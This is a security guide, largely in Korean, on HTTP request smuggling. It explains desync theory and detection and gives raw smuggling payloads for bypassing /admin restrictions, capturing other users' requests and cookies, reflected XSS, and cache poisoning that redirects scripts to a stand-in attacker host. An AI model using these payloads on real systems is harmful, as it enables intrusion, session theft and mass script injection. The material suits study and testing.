HTTP Request Smuggling / HTTP Desync Attack

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

HackTricks 지원하기

무엇인가

이 취약점은 front-end proxiesback-end 서버 간의 desyncronization이 발생하여, attacker가 HTTP requestsend할 수 있게 되고, 이 request는 front-end proxies(load balance/reverse-proxy)에서는 single requestinterpreted되지만 back-end 서버에서는 2 requestinterpreted될 때 발생한다.
이로 인해 사용자는 자신의 뒤에 back-end server에 도착하는 다음 requestmodify할 수 있다.

Theory

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

Reality

Front-End(load-balance / Reverse Proxy)는 content-length 또는 transfer-encoding 헤더를 process하고, Back-end 서버는 다른 하나를 process하여 2 시스템 사이에 desyncronization을 일으킨다.
이는 매우 치명적일 수 있는데, attacker가 reverse proxy에 하나의 request를 send하면 그것이 back-end 서버에서는 2 different requestsinterpreted되기 때문이다. 이 기법의 dangerback-end 서버가 injected 2nd request를 마치 다음 client로부터 온 것처럼 interpret하고, 그 client의 real requestinjected request의 일부가 된다는 점에 있다.

Particularities

HTTP에서 new line character는 2 bytes로 구성된다는 것을 기억하라:

  • Content-Length: 이 header는 decimal number를 사용해 request body의 number of bytes를 나타낸다. body는 마지막 character에서 끝나는 것으로 예상되며, request 끝에 new line이 필요하지 않다.
  • Transfer-Encoding: 이 header는 body에서 hexadecimal number를 사용해 next chunknumber of bytes를 나타낸다. chunknew line으로 end해야 하지만 이 new line은 길이 표시자에 포함되지 않는다. 이 transfer method는 size 0인 chunk 뒤에 2 new lines가 와야 끝난다: 0
  • Connection: 내 경험상 request Smuggling의 첫 request에는 **Connection: keep-alive**를 사용하는 것이 권장된다.

Visible - Hidden

http/1.1의 주요 문제는 모든 request가 같은 TCP socket으로 간다는 점이다. 따라서 request를 받는 2 시스템 사이에 불일치가 발견되면, 최종 backend(혹은 중간 시스템)에서 하나의 request를 2 different requests(또는 그 이상)로 처리하게 만드는 request를 보낼 수 있다.

**This blog post**는 WAF에 의해 표시되지 않는 system의 desync attack을 탐지하는 새로운 방법을 제안한다. 이를 위해 Visible vs Hidden behavior를 제시한다. 이 경우의 목표는 실제로 아무것도 exploit하지 않으면서 desync를 일으킬 수 있는 techniques를 사용해 response의 불일치를 찾는 것이다.

예를 들어, 정상 host header와 “ host“ header를 함께 보내고, backend가 이 request에 대해 complain 한다면(아마도 “ host“의 value가 incorrect해서), front-end는 “ host“ header를 보지 못했지만 최종 backend는 이를 사용했을 가능성을 의미하며, front-end와 backend 사이의 desync를 매우 probale하게 시사한다.

이것은 Hidden-Visible discrepancy이다.

만약 front-end가 “ host“ header를 고려했는데 front-end가 고려하지 않았다면, 이것은 Visible-Hidden 상황일 수 있다.

예를 들어, 이는 AWS ALB를 front-end로, IIS를 backend로 사용하는 경우의 desync를 발견하는 데 도움을 주었다. “Host: foo/bar“를 보냈을 때 ALB가 400, Server; awselb/2.0를 반환했지만, “Host : foo/bar“를 보냈을 때는 400, Server: Microsoft-HTTPAPI/2.0를 반환했는데, 이는 backend가 response를 보내고 있음을 의미했다. 이것은 Hidden-Vissible (H-V) 상황이다.

이 상황은 AWS에서 수정되지는 않았지만, routing.http.drop_invalid_header_fields.enabledrouting.http.desync_mitigation_mode = strictest를 설정하면 방지할 수 있다.

Basic Examples

Tip

Burp Suite로 이것을 exploit하려고 할 때는 repeater에서 Update Content-LengthNormalize HTTP/1 line endings를 비활성화하라. 일부 gadget이 newlines, carriage returns 및 malformed content-length를 악용하기 때문이다.

HTTP request smuggling attacks는 front-end와 back-end 서버가 Content-Length(CL)와 Transfer-Encoding(TE) 헤더를 해석하는 방식의 불일치를 악용하는 ambiguous request를 보내 craft된다. 이러한 attacks는 주로 CL.TE, TE.CL, TE.TE 형태로 나타난다. 각 유형은 front-end와 back-end 서버가 이 header들을 우선 처리하는 방식의 고유한 조합을 나타낸다. 취약점은 서버가 같은 request를 서로 다르게 처리하면서 발생하며, 그 결과는 예상치 못했거나 악의적일 수 있다.

Basic Examples of Vulnerability Types

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

Tip

이전 table에 TE.0 technique도 추가해야 한다. CL.0 technique와 같지만 Transfer Encoding을 사용한다.

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

  • Front-End (CL): Content-Length header를 기준으로 request를 process한다.

  • Back-End (TE): Transfer-Encoding header를 기준으로 request를 process한다.

  • Attack Scenario:

  • attacker는 Content-Length header의 value가 실제 content length와 맞지 않는 request를 보낸다.

  • front-end server는 Content-Length value를 기준으로 request 전체를 back-end로 전달한다.

  • back-end server는 Transfer-Encoding: chunked header 때문에 request를 chunked로 process하며, 남은 data를 별도의 이후 request로 해석한다.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

  • Front-End (TE): Transfer-Encoding header를 기준으로 request를 process한다.

  • Back-End (CL): Content-Length header를 기준으로 request를 process한다.

  • Attack Scenario:

  • attacker는 chunk size (7b)와 실제 content length (Content-Length: 4)가 일치하지 않는 chunked request를 보낸다.

  • front-end server는 Transfer-Encoding을 따르므로 request 전체를 back-end로 전달한다.

  • back-end server는 Content-Length를 따르므로 request의 초기 부분(7b bytes)만 process하고, 나머지는 의도치 않은 이후 request의 일부로 남긴다.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

  • Servers: 둘 다 Transfer-Encoding을 지원하지만, obfuscation을 통해 하나는 이를 무시하도록 속일 수 있다.

  • Attack Scenario:

  • attacker는 obfuscated Transfer-Encoding headers를 보낸다.

  • 어느 서버(front-end 또는 back-end)가 obfuscation을 인식하지 못하느냐에 따라 CL.TE 또는 TE.CL 취약점을 exploit할 수 있다.

  • 한 서버가 보지 못한 request의 처리되지 않은 부분은 이후 request의 일부가 되어 smuggling을 유발한다.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

  • 두 서버 모두 오직 Content-Length header만을 기준으로 request를 process한다.
  • 이 scenario는 일반적으로 smuggling으로 이어지지 않는다. 두 서버가 request length를 해석하는 방식이 일치하기 때문이다.
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • Content-Length header가 존재하고 값이 0이 아닌 상황을 의미하며, request body에 content가 있음을 나타낸다. back-end는 Content-Length header를 무시하고(0으로 처리), front-end는 이를 파싱한다.
  • smuggling attacks를 이해하고 구성하는 데 중요하며, 서버가 request의 끝을 판단하는 방식에 영향을 준다.
  • Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

  • 이전 것과 같지만 TE를 사용한다
  • Technique reported here
  • Example:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL 시나리오

0.CL 상황에서는 다음과 같이 Content-Length가 있는 요청이 전송됩니다:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

And the front-end는 Content-Length를 고려하지 않으므로 backend로 첫 번째 request만 보냅니다(예시의 7까지). 그러나 backend는 Content-Length를 보고 도착하지 않는 body를 기다립니다. 왜냐하면 front-end가 이미 response를 기다리고 있기 때문입니다.

However, body를 받기 전에 backend가 response할 수 있는 request를 보낼 수 있다면, 이 deadlock은 발생하지 않습니다. 예를 들어 IIS에서는 /con 같은 forbidden words로 request를 보내면 이런 일이 발생합니다( documentation 확인). 이렇게 하면 초기 request는 바로 response되고, 두 번째 request에는 victim의 request가 다음과 같이 포함됩니다:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

이것은 desync를 유발하는 데 유용하지만, 지금까지는 아무 영향도 없습니다.

그러나 이 게시물은 **0.CL attack을 double desync를 통해 CL.0으로 바꾸는 것**으로 이를 해결하는 방법을 제시합니다.

웹 서버 깨기

이 기법은 초기 HTTP 데이터를 읽는 동안 웹 서버를 깨뜨릴 수 있지만 연결을 닫지 않는 시나리오에서도 유용합니다. 이렇게 하면 HTTP 요청의 body다음 HTTP request로 간주됩니다.

예를 들어, 이 writeup에서 설명하듯, Werkzeug에서는 일부 Unicode 문자를 보내면 서버가 깨지도록 만들 수 있었습니다. 그러나 HTTP connection이 Connection: keep-alive 헤더로 생성되었다면, request의 body는 읽히지 않고 connection은 계속 열려 있으므로, request의 body다음 HTTP request로 처리됩니다.

hop-by-hop headers를 통한 강제

hop-by-hop headers를 악용하면 proxy에게 Content-Length 또는 Transfer-Encoding 헤더를 삭제하도록 지시할 수 있고, 그러면 HTTP request smuggling을 악용할 수 있습니다.

Connection: Content-Length

For more information about hop-by-hop headers visit:

hop-by-hop headers

HTTP Request Smuggling 찾기

HTTP request smuggling 취약점을 식별하는 것은 종종 timing techniques로 달성할 수 있으며, 이는 서버가 조작된 요청에 응답하는 데 걸리는 시간을 관찰하는 데 의존합니다. 이러한 techniques는 특히 CL.TE와 TE.CL 취약점을 탐지하는 데 유용합니다. 이 방법들 외에도, 이런 취약점을 찾는 데 사용할 수 있는 다른 전략과 tools가 있습니다:

Timing Techniques를 사용한 CL.TE 취약점 찾기

  • Method:

  • 애플리케이션이 취약하다면 back-end server가 추가 데이터를 기다리게 만드는 요청을 보냅니다.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Observation:

  • front-end server는 Content-Length를 기준으로 요청을 처리하고 메시지를 너무 일찍 잘라냅니다.

  • back-end server는 chunked message를 기대하므로, 절대 도착하지 않는 다음 chunk를 기다리게 되어 지연이 발생합니다.

  • Indicators:

  • response에서 timeout 또는 긴 지연.

  • back-end server로부터 400 Bad Request 오류를 받는 경우가 있으며, 때로는 자세한 server 정보가 포함됩니다.

Timing Techniques를 사용한 TE.CL 취약점 찾기

  • Method:

  • 애플리케이션이 취약하다면 back-end server가 추가 데이터를 기다리게 만드는 요청을 보냅니다.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Observation:
  • front-end server는 Transfer-Encoding을 기준으로 요청을 처리하고 전체 메시지를 전달합니다.
  • back-end server는 Content-Length를 기준으로 한 메시지를 기대하므로, 절대 도착하지 않는 추가 데이터를 기다리게 되어 지연이 발생합니다.

취약점을 찾는 다른 방법

  • Differential Response Analysis:
  • 요청의 약간씩 다른 버전을 보내고 server response가 예상치 못한 방식으로 달라지는지 관찰하여, parsing discrepancy를 나타내는지 확인합니다.
  • Using Automated Tools:
  • Burp Suite의 ‘HTTP Request Smuggler’ extension 같은 tools는 다양한 형태의 ambiguous requests를 보내고 response를 분석하여 이러한 취약점을 자동으로 테스트할 수 있습니다.
  • Content-Length Variance Tests:
  • 실제 content length와 맞지 않는 다양한 Content-Length 값을 가진 요청을 보내고 server가 이러한 불일치를 어떻게 처리하는지 관찰합니다.
  • Transfer-Encoding Variance Tests:
  • obfuscated되거나 malformed된 Transfer-Encoding headers를 보내고 front-end와 back-end server가 이러한 조작에 어떻게 다르게 응답하는지 모니터링합니다.

Expect: 100-continue header

이 header가 http desync를 exploiting하는 데 어떻게 도움이 되는지 확인하세요:

Special Http Headers

HTTP Request Smuggling 취약점 테스트

timing techniques의 효과를 확인한 후에는 client requests를 조작할 수 있는지 검증하는 것이 중요합니다. 간단한 방법은 request poisoning을 시도하는 것입니다. 예를 들어 /에 대한 request가 404 response를 반환하게 만드는 것입니다. 앞서 Basic Examples에서 논의한 CL.TETE.CL 예시는 client가 다른 resource에 접근하려고 했음에도 불구하고, client의 request를 poisoning하여 404 response를 유도하는 방법을 보여줍니다.

Key Considerations

다른 requests를 방해하여 request smuggling 취약점을 테스트할 때는 다음을 염두에 두세요:

  • Distinct Network Connections: “attack” request와 “normal” request는 서로 다른 network connections을 통해 전송되어야 합니다. 둘 다 같은 connection을 사용하면 취약점의 존재를 검증할 수 없습니다.
  • Consistent URL and Parameters: 두 request 모두에 대해 동일한 URL과 parameter names를 사용하도록 합니다. 현대 application은 종종 URL과 parameters를 기반으로 요청을 특정 back-end server로 라우팅합니다. 이를 일치시키면 두 request가 같은 server에 의해 처리될 가능성이 높아지며, 이는 성공적인 attack의 전제 조건입니다.
  • Timing and Racing Conditions: “normal” request는 “attack” request로 인한 간섭을 감지하기 위한 것이며, 다른 동시 application request와 경쟁합니다. 따라서 “normal” request는 “attack” request 바로 뒤에 보내세요. 바쁜 application에서는 취약점 확인을 위해 여러 번 시도해야 할 수 있습니다.
  • Load Balancing Challenges: load balancer 역할을 하는 front-end server는 요청을 여러 back-end system에 분산할 수 있습니다. “attack” request와 “normal” request가 서로 다른 system으로 가면 attack은 성공하지 못합니다. 이 load balancing 측면 때문에 취약점을 확인하려면 여러 번 시도해야 할 수 있습니다.
  • Unintended User Impact: 공격이 의도치 않게 다른 사용자의 request(탐지를 위해 보낸 “normal” request가 아닌)를 영향을 준다면, 이는 공격이 다른 application 사용자에게 영향을 미쳤음을 의미합니다. 지속적인 테스트는 다른 사용자에게 방해가 될 수 있으므로 주의가 필요합니다.

HTTP/1.1 pipelining artifacts vs genuine request smuggling 구별하기

connection reuse (keep-alive)와 pipelining은 같은 socket에서 여러 requests를 보내는 testing tools에서 쉽게 “smuggling“의 환상을 만들어낼 수 있습니다. 무해한 client-side artifacts와 실제 server-side desync를 구분하는 법을 익히세요.

왜 pipelining이 전형적인 false positives를 만드는가

HTTP/1.1은 단일 TCP/TLS connection을 재사용하고 requests와 responses를 같은 stream에 이어 붙입니다. pipelining에서는 client가 여러 requests를 연속으로 보내고 순서대로 오는 responses에 의존합니다. 흔한 false-positive는 같은 connection에서 malformed CL.0-style payload를 두 번 다시 보내는 것입니다:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

응답은 다음과 같을 수 있습니다:

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

서버가 잘못된 Content_Length를 무시했다면 FE↔BE desync는 없습니다. reuse를 사용하면, 실제로 클라이언트가 이 byte-stream을 전송했고, 서버는 이를 두 개의 독립적인 requests로 파싱했습니다:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact: none. 클라이언트가 server framing과 desync된 것뿐입니다.

Tip

reuse/pipelining에 의존하는 Burp modules: requestsPerConnection>1인 Turbo Intruder, “HTTP/1 connection reuse“가 있는 Intruder, “Send group in sequence (single connection)” 또는 “Enable connection reuse“가 있는 Repeater.

Litmus tests: pipelining or real desync?

  1. reuse를 비활성화하고 다시 테스트
  • Burp Intruder/Repeater에서 HTTP/1 reuse를 끄고 “Send group in sequence“를 피하세요.
  • Turbo Intruder에서는 requestsPerConnection=1pipeline=False로 설정하세요.
  • 동작이 사라지면, connection-locked/stateful target 또는 client-side desync가 아닌 한, client-side pipelining이었을 가능성이 큽니다.
  1. HTTP/2 nested-response check
  • HTTP/2 request를 보내세요. response body에 완전한 nested HTTP/1 response가 포함되어 있다면, pure client artifact가 아니라 backend parsing/desync bug를 증명한 것입니다.
  1. connection-locked front-end를 위한 partial-requests probe
  • 일부 FE는 client가 자신의 connection을 재사용할 때만 upstream BE connection을 재사용합니다. partial-requests를 사용해 client reuse를 따라가는 FE behavior를 탐지하세요.
  • connection-locked technique에 대해서는 PortSwigger “Browser‑Powered Desync Attacks“를 보세요.
  1. State probes
  • 같은 TCP connection에서 first-request와 subsequent-request의 차이를 찾으세요(first-request routing/validation).
  • Burp “HTTP Request Smuggler“에는 이를 자동화하는 connection‑state probe가 포함되어 있습니다.
  1. wire를 시각화
  • Burp “HTTP Hacker” extension을 사용해 reuse와 partial requests를 실험하는 동안 concatenation과 message framing을 직접 검사하세요.

Connection‑locked request smuggling (reuse-required)

일부 front-ends는 client가 자신의 connection을 재사용할 때만 upstream connection을 재사용합니다. 실제 smuggling은 존재하지만 client-side reuse에 조건부입니다. 이를 구분하고 impact를 증명하려면:

  • server-side bug를 증명하고
  • HTTP/2 nested-response check를 사용하거나,
  • partial-requests를 사용해 FE가 client가 재사용할 때만 upstream을 재사용함을 보여주세요.
  • 직접적인 cross-user socket abuse가 차단되어도 실제 impact를 보여주세요:
  • Cache poisoning: desync를 통해 shared caches를 오염시켜 response가 다른 사용자에게 영향을 주게 합니다.
  • Internal header disclosure: FE가 주입한 headers(예: auth/trust headers)를 반사시키고 auth bypass로 이어갑니다.
  • Bypass FE controls: restricted paths/methods를 front-end를 지나 smuggle합니다.
  • Host-header abuse: host routing quirks와 결합해 internal vhosts로 pivot합니다.
  • Operator workflow
  • controlled reuse로 재현합니다(Turbo Intruder requestsPerConnection=2, 또는 Burp Repeater tab group → “Send group in sequence (single connection)”).
  • 그런 다음 cache/header-leak/control-bypass primitives와 연결해 cross-user 또는 authorization impact를 입증합니다.

connection‑state attacks도 참고하세요. 이는 closely related하지만 technically smuggling은 아닙니다:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

browser-powered/client-side desync를 목표로 한다면, malicious request는 browser가 cross-origin으로 전송할 수 있어야 합니다. header obfuscation tricks는 동작하지 않습니다. navigation/fetch로 도달 가능한 primitives에 집중한 다음, downstream components가 response를 반사하거나 cache하는 경우 cache poisoning, header disclosure, 또는 front-end control bypass로 pivot하세요.

background와 end-to-end workflows는 다음을 보세요:

Browser HTTP Request Smuggling

Tooling to help decide

  • HTTP Hacker (Burp BApp Store): low-level HTTP behavior와 socket concatenation을 노출합니다.
  • “Smuggling or pipelining?” Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder: requestsPerConnection으로 connection reuse를 정밀하게 제어합니다.
  • Burp HTTP Request Smuggler: first-request routing/validation을 찾기 위한 connection‑state probe를 포함합니다.

Note

reuse-only effects는 server-side desync를 증명하고 poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control 등의 concrete impact를 붙일 수 없는 한 non-issues로 취급하세요.

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

때로 front-end proxies는 보안 조치를 적용하며 incoming requests를 검사합니다. 그러나 이러한 조치는 HTTP Request Smuggling을 악용해 우회할 수 있으며, 이를 통해 restricted endpoints에 unauthorized access가 가능해집니다. 예를 들어 /admin에 대한 접근은 외부에서 금지되어 있고 front-end proxy가 이를 적극적으로 차단할 수 있습니다. 그럼에도 이 proxy는 smuggled HTTP request 안에 포함된 embedded requests를 검사하지 않을 수 있어, 이러한 제한을 우회할 loophole이 생깁니다.

다음은 HTTP Request Smuggling이 front-end security controls를 우회하는 데 어떻게 사용될 수 있는지 보여주는 예시이며, 특히 일반적으로 front-end proxy가 보호하는 /admin path를 대상으로 합니다:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

CL.TE attack에서는 Content-Length 헤더가 초기 request에 사용되고, 이후에 포함된 embedded request는 Transfer-Encoding: chunked 헤더를 사용합니다. front-end proxy는 초기 POST request는 처리하지만 embedded GET /admin request를 검사하지 못해, /admin path에 대한 unauthorized access를 허용합니다.

TE.CL Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

반대로, TE.CL 공격에서는 초기 POST 요청이 Transfer-Encoding: chunked를 사용하고, 그 다음에 포함된 embedded request는 Content-Length 헤더를 기준으로 처리됩니다. CL.TE 공격과 마찬가지로, front-end proxy는 smuggled GET /admin 요청을 간과하고, 결과적으로 제한된 /admin 경로에 대한 접근을 실수로 허용합니다.

Revealing front-end request rewriting

Applications는 종종 front-end server를 사용해 요청을 back-end server로 전달하기 전에 들어오는 요청을 수정합니다. 일반적인 수정에는 X-Forwarded-For: <IP of the client>와 같은 header를 추가하여 client의 IP를 back-end에 전달하는 것이 포함됩니다. 이러한 수정 사항을 이해하는 것은 매우 중요할 수 있는데, 이는 protections를 bypass하거나 숨겨진 정보 또는 endpoints를 uncover하는 방법을 드러낼 수 있기 때문입니다.

proxy가 request를 어떻게 변경하는지 알아보려면, back-end가 response에서 그대로 되돌려 주는 POST parameter를 찾으세요. 그런 다음, 이 parameter를 마지막에 두고 다음과 비슷한 request를 만드세요:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

이 구조에서는 이후 request 구성 요소가 search= 뒤에 추가되며, 이는 response에 반영되는 parameter입니다. 이 reflection은 subsequent request의 headers를 노출합니다.

nested request의 Content-Length header를 실제 content length와 맞추는 것이 중요합니다. 작은 값으로 시작해 점진적으로 늘리는 것이 좋습니다. 너무 낮으면 reflected data가 잘리고, 너무 높으면 request가 error를 일으킬 수 있습니다.

이 technique는 TE.CL vulnerability 맥락에서도 적용할 수 있지만, request는 search=\r\n0로 끝나야 합니다. newline characters와 관계없이, 값은 search parameter에 append됩니다.

이 method는 주로 front-end proxy가 수행한 request modifications를 이해하는 데 사용되며, 본질적으로 self-directed investigation을 수행하는 것입니다.

다른 users의 requests 캡처하기

POST operation 중 parameter의 value로 특정 request를 append하면 다음 user의 request를 캡처할 수 있습니다. 이를 수행하는 방법은 다음과 같습니다:

다음 request를 parameter의 value로 append하면, subsequent client의 request를 저장할 수 있습니다:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

이 시나리오에서 comment parameter는 공개적으로 접근 가능한 페이지의 post comment section 안에 있는 내용을 저장하도록 의도되어 있습니다. 따라서 이후 request의 내용은 comment로 표시됩니다.

하지만 이 technique에는 제한이 있습니다. 일반적으로 smuggled request에서 사용된 parameter delimiter까지의 데이터만 캡처합니다. URL-encoded form submission의 경우 이 delimiter는 & 문자입니다. 즉, victim user’s request에서 캡처된 내용은 첫 번째 &에서 멈추며, 이는 query string의 일부일 수도 있습니다.

추가로, 이 접근 방식은 TE.CL vulnerability에서도 사용할 수 있습니다. 이 경우 request는 search=\r\n0으로 끝나야 합니다. newline characters와 무관하게 값은 search parameter에 append됩니다.

Using HTTP request smuggling to exploit reflected XSS

HTTP Request Smuggling은 web pages에서 Reflected XSS를 exploit하는 데 활용될 수 있으며, 상당한 장점을 제공합니다:

  • target users와의 interaction이 필요하지 않습니다.
  • HTTP request headers처럼 보통은 접근할 수 없는 request 부분에서 XSS exploit을 가능하게 합니다.

website가 User-Agent header를 통해 Reflected XSS에 취약한 경우, 다음 payload는 이 vulnerability를 exploit하는 방법을 보여줍니다:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

This payload is structured to exploit the vulnerability by:

  1. Initiating a POST request, seemingly typical, with a Transfer-Encoding: chunked header to indicate the start of smuggling.
  2. Following with a 0, marking the end of the chunked message body.
  3. Then, a smuggled GET request is introduced, where the User-Agent header is injected with a script, <script>alert(1)</script>, triggering the XSS when the server processes this subsequent request.

By manipulating the User-Agent through smuggling, the payload bypasses normal request constraints, thus exploiting the Reflected XSS vulnerability in a non-standard but effective manner.

HTTP/0.9

Caution

In case the user content is reflected in a response with a Content-type such as text/plain, preventing the execution of the XSS. If the server support HTTP/0.9 it might be possible to bypass this!

The version HTTP/0.9 was previously to the 1.0 and only uses GET verbs and doesn’t respond with headers, just the body.

In this writeup, this was abused with a request smuggling and a vulnerable endpoint that will reply with the input of the user to smuggle a request with HTTP/0.9. The parameter that will be reflected in the response contained a fake HTTP/1.1 response (with headers and body) so the response will contain valid executable JS code with a Content-Type of text/html.

Exploiting On-site Redirects with HTTP Request Smuggling

Applications often redirect from one URL to another by using the hostname from the Host header in the redirect URL. This is common with web servers like Apache and IIS. For instance, requesting a folder without a trailing slash results in a redirect to include the slash:

GET /home HTTP/1.1
Host: normal-website.com

결과적으로:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

겉보기에는 무해해 보이지만, 이 동작은 HTTP request smuggling을 사용해 사용자를 외부 사이트로 리디렉션하도록 조작될 수 있습니다. 예를 들어:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

이 smuggled request는 다음에 처리되는 사용자 request가 공격자가 제어하는 website로 redirected되도록 할 수 있습니다:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

결과:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

이 시나리오에서는 사용자의 JavaScript 파일 요청이 hijacked됩니다. 공격자는 응답으로 악성 JavaScript를 제공해 사용자를 잠재적으로 compromise할 수 있습니다.

HTTP Request Smuggling을 통한 Web Cache Poisoning Exploiting

Web cache poisoning은 front-end infrastructure의 어떤 구성 요소든 content를 cache하는 경우 실행될 수 있으며, 보통 성능 향상을 위해 사용됩니다. 서버의 response를 조작하면 cache를 poison할 수 있습니다.

이전에, server responses가 어떻게 변경되어 404 error를 반환하도록 만들 수 있는지 살펴보았습니다(참조 Basic Examples). 마찬가지로 서버를 속여 /static/include.js 요청에 대해 /index.html content를 반환하게 만드는 것도 가능합니다. 그 결과 /static/include.js content는 cache에서 /index.html의 content로 대체되어, 사용자들이 /static/include.js에 접근할 수 없게 되고, 잠재적으로 Denial of Service (DoS)로 이어질 수 있습니다.

이 technique는 Open Redirect vulnerability가 발견되었을 때, 또는 on-site redirect to an open redirect가 있을 때 특히 강력해집니다. 이러한 취약점은 /static/include.js의 cached content를 공격자가 제어하는 script로 대체하는 데 악용될 수 있으며, 본질적으로 업데이트된 /static/include.js를 요청하는 모든 client를 대상으로 광범위한 Cross-Site Scripting (XSS) 공격을 가능하게 합니다.

아래는 cache poisoning과 on-site redirect to open redirect를 결합한 공격의 예시입니다. 목표는 /static/include.js의 cache content를 공격자가 제어하는 JavaScript code를 제공하도록 변경하는 것입니다:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

